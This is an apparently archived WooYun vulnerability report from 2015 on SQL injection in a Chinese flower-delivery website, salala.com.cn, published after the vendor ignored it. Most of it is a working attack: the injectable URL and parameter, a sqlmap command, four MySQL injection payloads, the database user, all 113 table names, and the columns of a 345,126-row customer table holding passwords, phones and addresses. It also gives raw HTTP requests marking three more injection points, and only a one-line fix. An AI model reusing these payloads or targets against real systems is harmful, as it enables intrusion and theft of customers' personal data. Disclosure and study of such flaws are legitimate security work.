当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0111420

漏洞标题：某鲜花网SQL注入致34w用户数据泄露

相关厂商：莎啦啦鲜花网

漏洞作者： pandada

提交时间：2015-05-24 17:26

修复时间：2015-07-08 17:28

公开时间：2015-07-08 17:28

漏洞类型：

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-07-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

SQL注入，致用户数据完全泄露

详细说明：

注入点为http://www.salala.com.cn/liuyan/index.php?page=2&search=1中的search参数，具体如下所示：

root@kali:~/Documents/sqlread# sqlmap -u "http://www.salala.com.cn/liuyan/index.php?page=2&search=1" -p "search" --level=5 --dbms=mysql --current-db --current-user
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:30:20
[00:30:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: search
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=2&search=1') AND 1459=1459 AND ('ZTTE' LIKE 'ZTTE
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: page=2&search=1') AND (SELECT 3286 FROM(SELECT COUNT(*),CONCAT(0x716d656271,(SELECT (CASE WHEN (3286=3286) THEN 1 ELSE 0 END)),0x716e696271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('qHPP' LIKE 'qHPP
    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: page=2&search=1') UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716d656271,0x5a63456b754d627a4377,0x716e696271),NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: page=2&search=1') AND SLEEP(5) AND ('gmTy' LIKE 'gmTy
---
[00:30:21] [INFO] testing MySQL
[00:30:21] [INFO] confirming MySQL
[00:30:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
[00:30:21] [INFO] fetching current user
current user:    'newsalala@192.168.0.100'
[00:30:21] [INFO] fetching current database
current database:    'newsalala'


漏洞证明：

得到newsalala中的113个tables，如下所示：

Database: newsalala
[113 tables]
+-----------------------------+
| am_account                  |
| am_account_dummy            |
| am_balance_log              |
| am_bank_name                |
| am_hj                       |
| am_limit_used               |
| am_payment                  |
| am_points_log               |
| cm_customer                 |
| cm_customer_basket          |
| cm_customer_complaint       |
| cm_customer_dummy           |
| cm_customer_favorites       |
| cm_customer_friends         |
| cm_customer_grade           |
| cm_customer_mail            |
| cm_customer_receipt         |
| cm_customer_reminder        |
| cm_customer_type            |
| cm_liuyan                   |
| festival_man                |
| festival_product            |
| friendlylink                |
| im_coupon                   |
| im_coupon_log               |
| im_coupon_other             |
| im_membership_card          |
| im_membership_card_type     |
| im_rechargeable_card        |
| im_rechargeable_card_type   |
| im_sale_card                |
| im_sale_log                 |
| im_sales                    |
| im_yintai                   |
| mm_coupon_cooperation       |
| mm_enterprise_staff         |
| om_baobiao                  |
| om_baobiao_update           |
| om_baobiao_update_log       |
| om_flowery_log              |
| om_lakala_log               |
| om_note                     |
| om_order                    |
| om_order_auto               |
| om_order_delivery           |
| om_order_delivery_log       |
| om_order_insert_log         |
| om_order_log                |
| om_zhifu                    |
| pm_attribute                |
| pm_baike                    |
| pm_class_attribute          |
| pm_component                |
| pm_component_type           |
| pm_county                   |
| pm_delivery_area            |
| pm_delivery_option          |
| pm_price_alter              |
| pm_price_factor             |
| pm_product                  |
| pm_product_attribute        |
| pm_product_bak              |
| pm_product_class            |
| pm_product_class_bak        |
| pm_product_components       |
| pm_product_dakehu           |
| pm_product_delivery         |
| pm_product_present          |
| pm_product_price_log        |
| pm_product_priceplan        |
| pm_product_priceplan_bak    |
| pm_product_qiangpai         |
| pm_product_tuijian          |
| print_setting               |
| prm_agent                   |
| prm_channel                 |
| prm_channels_banner         |
| prm_channels_recommend      |
| prm_channels_report         |
| prm_channels_settle_history |
| prm_channels_union_accounts |
| prm_channels_union_notice   |
| prm_channels_union_suggest  |
| prm_channels_union_urls     |
| prm_provider                |
| prm_source                  |
| report_0812                 |
| sm_area                     |
| sm_bulletin                 |
| sm_doc                      |
| sm_docclass                 |
| sm_docsubclass              |
| sm_mail                     |
| sm_map                      |
| sm_menu                     |
| sm_menuchild                |
| sm_permission               |
| sm_shouye                   |
| sm_sysinfo                  |
| sm_uggroups                 |
| sm_ugmembers                |
| sm_ugrights                 |
| sm_user                     |
| sm_usergroup                |
| sm_userlog                  |
| sm_userrole                 |
| sm_usertype                 |
| tbl_session                 |
| v_big_customer              |
| v_order_report              |
| v_order_with_source         |
| v_product_with_class        |
| zhuanti                     |
+-----------------------------+


cm_customer中包含的用户数：

Database: newsalala
+-------------+---------+
| Table       | Entries |
+-------------+---------+
| cm_customer | 345126  |
+-------------+---------+


cm_customer中包含的列：

Table: cm_customer
[31 columns]
+------------------------+---------------+
| Column                 | Type          |
+------------------------+---------------+
| address                | varchar(200)  |
| attitude               | varchar(32)   |
| birthday               | date          |
| card_id                | int(11)       |
| city                   | mediumint(9)  |
| consumption            | decimal(10,2) |
| country                | mediumint(9)  |
| customer_code          | varchar(64)   |
| customer_id            | int(11)       |
| district               | mediumint(9)  |
| effecitve_order_number | int(11)       |
| email                  | varchar(64)   |
| giftcode_used          | text          |
| grade_id               | int(11)       |
| group_customer_id      | int(11)       |
| mobile                 | varchar(50)   |
| name                   | varchar(100)  |
| online                 | int(1)        |
| password               | varchar(100)  |
| province               | mediumint(9)  |
| recent_login_date      | datetime      |
| recent_login_ip        | varchar(32)   |
| recent_payment_type    | int(11)       |
| referrer               | int(11)       |
| register_time          | datetime      |
| sex                    | varchar(32)   |
| source                 | varchar(20)   |
| source_type            | varchar(32)   |
| telephone              | varchar(70)   |
| type_id                | int(11)       |
| zipcode                | varchar(50)   |
+------------------------+---------------+


其它猪肉点

GET /addgoods.php?code=FL10612&uid=* HTTP/1.1
Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6
Host: salala.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


GET /addgoods.php?code=*&uid=987654321234567891430106191 HTTP/1.1
Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6
Host: salala.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


GET /interflora/international_flowers.php?area=* HTTP/1.1
Cookie: PHPSESSID=4jgse5svv5i656htv1vhpcg1p6
Host: salala.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

修复方案：

参数过滤

版权声明：转载请注明来源 pandada@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝